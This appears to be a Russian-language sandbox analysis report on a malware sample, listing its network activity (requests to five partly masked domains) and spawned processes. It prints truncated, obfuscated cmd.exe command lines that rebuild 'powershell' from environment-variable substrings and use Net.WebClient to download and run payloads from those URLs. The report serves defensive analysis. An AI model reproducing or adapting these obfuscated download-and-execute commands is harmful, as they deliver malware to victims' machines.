Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set 24G=vB_RbWl@'MNH{~TCx,8nQ.P5Zhos\q4pa7KyFm%i)jrkDf03$uA+gUcwG =e1L;zd-E(:ISYt}O\&&for %D in (31;26;55;38;22;53;1;61;69;15;68;13;23;17;60;38;42;3...
Сетевая активность
TCP
Запросы HTTP GET
- http://be########roomsandplumbing.co.uk/hNCIxykdZ85
- http://al####adagascar.com/8j74oPGHNf_aHuw08Hib
- http://th###review.com/BYT1D3keQi
- http://le####dokubrick.com/TCx3yCt8wf3
- http://cl###estre.com/qRd7K5sf5_4
UDP
- DNS ASK be########roomsandplumbing.co.uk
- DNS ASK al####adagascar.com
- DNS ASK th###review.com
- DNS ASK le####dokubrick.com
- DNS ASK cl###estre.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set 24G=vB_RbWl@'MNH{~TCx,8nQ.P5Zhos\q4pa7KyFm%i)jrkDf03$uA+gUcwG =e1L;zd-E(:ISYt}O\&&for %D in (31;26;55;38;22;53;1;61;69;15;68;13;23;17;60;38;42;3...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V/C"set 24G=vB_RbWl@'MNH{~TCx,8nQ.P5Zhos\q4pa7KyFm%i)jrkDf03$uA+gUcwG =e1L;zd-E(:ISYt}O/&&for %D in (31;26;55;38;22;53;1;61;69;15;68;13;23;17;60;38;42;38;70;66;70;70;69;74;10;10;50;9;66;68;13;...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $pzkid='twuszdw';$itwdf=new-object Net.WebClient;$zmuzzuv='http://be########roomsandplumbing.co.uk/hNCIxykdZ85@http://allinmad...
- '<SYSTEM32>\cmd.exe'
